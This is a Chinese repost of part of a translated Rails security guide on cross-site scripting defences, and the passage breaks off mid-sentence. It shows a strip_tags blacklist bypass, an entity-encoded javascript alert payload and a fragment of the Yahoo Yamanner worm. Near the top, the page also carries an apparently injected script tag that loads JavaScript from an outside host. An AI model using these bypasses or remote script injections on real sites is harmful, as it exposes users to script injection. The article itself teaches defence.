快速业务通道

Rails安全导读【完】 - 编程入门网

作者 佚名技术 来源 NET编程 浏览 发布时间 2012-06-16
.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->   <script src=http://www.securitylab.ru/test/sc.js></script><!--

Rails安全导读【完】(4)

时间:2011-07-18 51cto博客 blackanger译

对策

过滤恶意的输入是非常重要的,但是转义web应用的输出(回显)也是重要的。

尤其对于XSS,白名单的输入过滤比黑名单好。白名单过滤的是被允许的值,而不是那些不被允许的。黑名单是总会有遗漏的。

想象一个黑名单从用户的输入里删除了“script”。现在攻击者注入了 “<scrscriptipt>”, 过滤之后还是 “<script>” . 早期版本的Rails为strip_tags(),strip_links(),strip_links()和sanitize()方法使用了黑名单方式。所以使这种注入方式成为可能:

strip_tags("some<<b>script>alert(''hello'')<</b>/script>")

这段代码返回的是可以使攻击执行的结果 "some<script>alert(hello)</script>". 这就是为什么我推荐用白名单的方式, 我们可以使用Rails 2里更新的sanitize()方法:

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) s = sanitize(user_input, :tags => tags, :attributes => %w(href title))

这段代码只允许那些特定的标记可以好好工作,但是对那些花样的错误的标记则拒绝。

第二种方式是为转义那些应用的输出提供了一个好的实践, 尤其是当回显没有被过滤的用户的输入(比如前面的搜索表单)。 使用 escapeHTML() (或是它的别名 h()) 方法会把HTML字符 &,",<,>替换为 (&amp;, &quot;, &lt; 和 &gt;). 然而 ,很容易在程序里忘记使用它,所以推荐使用这个 SafeErb 插件. SafeErb 会提醒你转义那些外部入侵的字符串。

混淆及字符编码注入

网络通信大多是基于西方字母的, 所以有新的字符编码,像Unicode, emerged来传送其他语言 。但是,这也是web应用的一个威胁,因为恶 意代码会隐藏在不同编码里,web浏览器可能无法处理,但是web应用并非如此。这里是一个UTF-8感染攻击:

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;   &#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

这个例子弹出一个消息框。它会被上述的sanitize()过滤。有一个伟大的工具去混淆和编码字符串,因此‘了解你的敌人’,它是 Hackvertor。 Rails的sanitize() 方法可以有效阻止这类攻击。

8.3.3. 一些来自于”地下党“的例子

— 为了理解当今对于web应用的攻击,最好是来看看真实世界的攻击。

下面的摘要是来自于 Js.Yamanner@m Yahoo! Mail 蠕虫. 它出现在2006年6月11号,它是第一个webmail接口蠕虫 :

<img src=''/uploads//allimg/1107/1302001433-0.gif''   target="" http_request = false;  var Email = '''';   var IDList = '''';  var CRumb = '''';  function makeRequest(url, Func, Method,Param) { ...

该蠕虫利用Yahoo的HTML/Javascript过滤器的一个漏洞,该过滤器通常过滤target标签和 javascript)。这个过滤器只应用一次,所以蠕 虫病毒代码就留在了原来的地方。这是个好的例子来说明为什么黑名单过滤器永远会有遗漏和为什么在 web应用里允许HTML/JavaScript是困难 的。

另一种概念验证的webmail蠕虫是Nduja, 一个跨了4个意大利webmail服务器的跨域蠕虫。可以在Rosario Valotta''s websi

凌众科技专业提供服务器租用、服务器托管、企业邮局、虚拟主机等服务,公司网站:http://www.lingzhong.cn 为了给广大客户了解更多的技术信息,本技术文章收集来源于网络,凌众科技尊重文章作者的版权,如果有涉及你的版权有必要删除你的文章,请和我们联系。以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!

分享到: 更多

Copyright ©1999-2011 厦门凌众科技有限公司 厦门优通互联科技开发有限公司 All rights reserved

地址(ADD):厦门软件园二期望海路63号701E(东南融通旁) 邮编(ZIP):361008

电话:0592-5908028 传真:0592-5908039 咨询信箱:web@lingzhong.cn 咨询OICQ:173723134

《中华人民共和国增值电信业务经营许可证》闽B2-20100024  ICP备案:闽ICP备05037997号